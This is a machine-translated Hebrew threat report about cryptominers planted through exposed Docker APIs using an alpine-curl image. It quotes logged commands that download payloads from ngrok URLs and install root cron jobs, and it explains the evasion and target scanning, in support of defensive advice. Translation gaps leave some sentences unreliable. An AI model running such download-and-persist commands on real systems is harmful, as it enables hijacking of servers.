
ניתחנו את הנתונים שנאספו באמצעות מיכלי סיר דבש, שיצרנו כדי לעקוב אחר איומים. וזיהינו פעילות משמעותית של כורי מטבעות קריפטוגרפיים לא רצויים או לא מורשים שנפרסו כמכולות נוכלות באמצעות תמונה שפורסמה בקהילה ב-Docker Hub. התמונה משמשת כחלק משירות המספק כורי מטבעות קריפטוגרפיים זדוניים.
בנוסף, מותקנות תוכניות לעבודה עם רשתות כדי לחדור למכולות ואפליקציות שכנות פתוחות.
אנו משאירים את עציצי הדבש שלנו כפי שהם, כלומר עם הגדרות ברירת מחדל, ללא כל אמצעי אבטחה או התקנה של תוכנה נוספת לאחר מכן. שימו לב של-Docker יש המלצות להגדרה ראשונית כדי למנוע שגיאות ופגיעויות פשוטות. אבל עציצי הדבש המשמשים הם מיכלים, שנועדו לזהות התקפות המכוונות לפלטפורמת המכולות, לא את היישומים בתוך המיכלים.
הפעילות הזדונית שזוהתה בולטת גם מכיוון שהיא אינה דורשת פרצות והיא גם בלתי תלויה בגרסת Docker. מציאת תמונת מיכל שהוגדרה בצורה שגויה, ולכן פתוחה, היא כל מה שתוקפים צריכים כדי להדביק שרתים פתוחים רבים.
ה-API של Docker לא סגור מאפשר למשתמש לבצע מגוון רחב של , כולל קבלת רשימה של קונטיינרים פועלים, קבלת יומנים ממיכל ספציפי, התחלה, עצירה (כולל מאולץ) ואפילו יצירת קונטיינר חדש מתמונה ספציפית עם הגדרות מוגדרות.

בצד שמאל נמצאת שיטת המסירה של תוכנות זדוניות. בצד ימין נמצאת הסביבה של התוקף, המאפשרת גלגול מרחוק של תמונות.

הפצה לפי מדינה של 3762 ממשקי API פתוחים של Docker. מבוסס על חיפוש שודן מתאריך 12.02.2019/XNUMX/XNUMX
אפשרויות לתקוף שרשרת ומטען
פעילות זדונית זוהתה לא רק בעזרת עציצים. נתונים מ-Shodan מראים שמספר ממשקי ה-API של Docker החשופים (ראה גרף שני) גדל מאז שחקרנו קונטיינר לא מוגדר המשמש כגשר לפריסת תוכנת כריית מטבעות קריפטוגרפיים של Monero. באוקטובר אשתקד (2018, נתונים עדכניים משוער. מְתוּרגְמָן) היו רק 856 ממשקי API פתוחים.
בדיקה של יומני סיר הדבש הראתה ששימוש בתמונת מיכל היה קשור גם לשימוש ב , כלי ליצירת חיבורים מאובטחים או העברת תעבורה מנקודות נגישות לציבור לכתובות או משאבים שצוינו (לדוגמה localhost). זה מאפשר לתוקפים ליצור באופן דינמי כתובות URL בעת אספקת מטען לשרת פתוח. להלן דוגמאות קוד מהיומנים המציגים שימוש לרעה בשירות ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”כפי שאתה יכול לראות, הקבצים שהועלו יורדים מכתובות URL המשתנות כל הזמן. לכתובות האתרים הללו יש תאריך תפוגה קצר, כך שלא ניתן להוריד מטענים לאחר תאריך התפוגה.
ישנן שתי אפשרויות של מטען. הראשונה היא כורה קומפילציה בפורמט ELF עבור Linux (מזוהה כ-Coinminer.SH.MALXMR.ATNO), אשר מתחבר למאגר הכרייה. השני הוא סקריפט (TrojanSpy.SH.ZNETMAP.A), שנועד להשיג כלי רשת מסוימים המשמשים לסריקת טווחי רשת ולאחר מכן לחפש מטרות חדשות.
סקריפט הטפטוף מגדיר שני משתנים, המשמשים לאחר מכן לפריסת כורה המטבעות הקריפטוגרפיים. המשתנה HOST מכיל את כתובת ה-URL שבה נמצאים הקבצים הזדוניים, והמשתנה RIP הוא שם הקובץ (למעשה, ה-hash) של הכורה שיש לפרוס. המשתנה HOST משתנה בכל פעם שמשתנה ה-hash משתנה. הסקריפט גם מנסה לבדוק שאף כורי מטבעות קריפטוגרפיים אחרים לא פועלים על השרת המותקף.

דוגמאות למשתני HOST ו-RIP, כמו גם קטע קוד המשמש כדי לבדוק שאף כורים אחרים לא פועלים
לפני הפעלת הכורה, שמו שונה ל-nginx. גרסאות אחרות של סקריפט זה משנות את שם הכורה לשירותים לגיטימיים אחרים שעשויים להימצא בסביבה. Linuxזה בדרך כלל מספיק כדי לעקוף בדיקות ברשימת התהליכים הפועלים.
לסקריפט החיפוש יש גם תכונות. זה עובד עם אותו שירות URL כדי לפרוס את הכלים הדרושים. ביניהם ניתן למצוא את הבינארי zmap, המשמש לסריקת רשתות ולקבלת רשימה של יציאות פתוחות. הסקריפט גם טוען בינארי נוסף המשמש לאינטראקציה עם השירותים שנמצאו וקבלת באנרים מהם כדי לקבוע מידע נוסף על השירות שנמצא (לדוגמה, הגרסה שלו).
הסקריפט גם קובע מראש כמה טווחי רשת לסריקה, אך הדבר תלוי בגרסת הסקריפט. הוא גם מגדיר את יציאות היעד מהשירותים - במקרה זה, Docker - לפני הפעלת הסריקה.
לאחר שנמצאות מטרות פוטנציאליות, באנרים מוסרים מהן באופן אוטומטי. הסקריפט מסנן גם מטרות בהתבסס על השירותים, היישומים, הרכיבים או הפלטפורמות שהוא מעוניין בהן: Redis, Jenkins, Drupal, MODX, , לקוח Docker 1.16 ו- Apache CouchDB. אם השרת הסרוק תואם לכל אחד מהם, הוא נשמר בקובץ טקסט, שבו יכולים התוקפים להשתמש מאוחר יותר לצורך ניתוח ופריצה. קבצי טקסט אלו מועלים לשרתים של התוקפים באמצעות קישורים דינמיים. כלומר, עבור כל קובץ נעשה שימוש בכתובת URL נפרדת, מה שאומר שהגישה שלאחר מכן קשה.
וקטור ההתקפה הוא תמונת Docker, כפי שניתן לראות בשתי פיסות הקוד הבאות.

בחלק העליון הוא שינוי השם לשירות לגיטימי, ובחלק התחתון הוא אופן השימוש ב-zmap לסריקת רשתות

בחלק העליון טווחי רשת מוגדרים מראש, בתחתית יציאות ספציפיות לחיפוש שירותים, כולל Docker

צילום המסך מראה שתמונת תלתל אלפיני הורדה יותר מ-10 מיליון פעמים
מבוסס על אלפיין Linux ו-curl, כלי ממשק שורת פקודה (CLI) יעיל במשאבים להעברת קבצים דרך פרוטוקולים שונים, ניתן לקמפל אותו . כפי שניתן לראות בתמונה הקודמת, התמונה הזו כבר הורדה יותר מ-10 מיליון פעמים. מספר גדול של הורדות עשוי להיות שימוש בתמונה זו כנקודת כניסה; תמונה זו עודכנה לפני יותר משישה חודשים; משתמשים לא הורידו תמונות אחרות ממאגר זה בתדירות גבוהה. בדוקר - ערכת הוראות המשמשת להגדרת קונטיינר להפעלתו. אם הגדרות נקודת הכניסה אינן נכונות (לדוגמה, המיכל נשאר פתוח מהאינטרנט), התמונה יכולה לשמש כווקטור התקפה. תוקפים יכולים להשתמש בו כדי לספק מטען אם הם מוצאים קונטיינר פתוח או לא נתמך.
חשוב לציין שתמונה זו (אלפינית-תלתל) עצמה אינה זדונית, אך כפי שניתן לראות למעלה, ניתן להשתמש בה לביצוע פונקציות זדוניות. תמונות דומות של Docker יכולות לשמש גם לביצוע פעילויות זדוניות. יצרנו קשר עם Docker ועבדנו איתם בנושא זה.
המלצות
שרידים עבור חברות רבות, במיוחד אלו המיישמות , התמקד בפיתוח מהיר ואספקה. הכל מחמיר מהצורך בעמידה בכללי הביקורת והניטור, הצורך במעקב אחר סודיות הנתונים וכן הנזק העצום מאי עמידתם. שילוב אוטומציה של אבטחה במחזור החיים של הפיתוח לא רק עוזר לך למצוא פרצות אבטחה שאחרת עלולות לא להתגלות, אלא הוא גם עוזר לך להפחית עומס עבודה מיותר, כגון הפעלת תוכנות נוספות עבור כל פגיעות שהתגלתה או תצורה שגויה לאחר פריסת יישום.
האירוע הנדון במאמר זה מדגיש את הצורך לקחת בחשבון את הבטיחות מלכתחילה, כולל ההמלצות הבאות:
- למנהלי מערכת ומפתחים: בדוק תמיד את הגדרות ה-API שלך כדי לוודא שהכל מוגדר לקבל רק בקשות משרת ספציפי או מרשת פנימית.
- פעל לפי עיקרון הזכויות הקטנות ביותר: ודא שתמונות מיכל חתומות ומאומתות, הגבלת גישה לרכיבים קריטיים (שירות השקת מיכל) והוסף הצפנה לחיבורי רשת.
- לעקוב אחר ולאפשר מנגנוני אבטחה, למשל. ומובנה .
- השתמש בסריקה אוטומטית של זמני ריצה ותמונות כדי לקבל מידע נוסף על התהליכים הרצים בקונטיינר (לדוגמה, כדי לזהות זיוף או חיפוש נקודות תורפה). בקרת יישומים וניטור שלמות עוזרים לעקוב אחר שינויים חריגים בשרתים, קבצים ואזורי מערכת.
Trendmicro עוזרת לצוותי DevOps לבנות בצורה מאובטחת, להתגלגל במהירות ולהשיק בכל מקום. טרנד מיקרו מספק אבטחה עוצמתית, יעילה ואוטומטית בכל צינור ה-DevOps של ארגון ומספק הגנות מרובות של איומים כדי להגן על עומסי עבודה פיזיים, וירטואליים וענן בזמן ריצה. זה גם מוסיף אבטחת מכולה עם и , אשר סורקות תמונות קונטיינר של Docker לאיתור תוכנות זדוניות ופגיעויות בכל נקודה בצנרת הפיתוח כדי למנוע איומים לפני פריסתן.
סימני פשרה
Hash קשורים:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
על רמקולים מתאמנים מראים אילו הגדרות יש לבצע תחילה על מנת למזער את הסבירות או למנוע לחלוטין את התרחשות המצב המתואר לעיל. וב-19-21 באוגוסט באינטנסיביות מקוונת אתה יכול לדון בבעיות אבטחה אלו ודומות עם עמיתים ומורים מתרגלים בשולחן עגול, שבו כולם יכולים לדבר ולהקשיב לכאבים ולהצלחות של עמיתים מנוסים.
מקור: www.habr.com
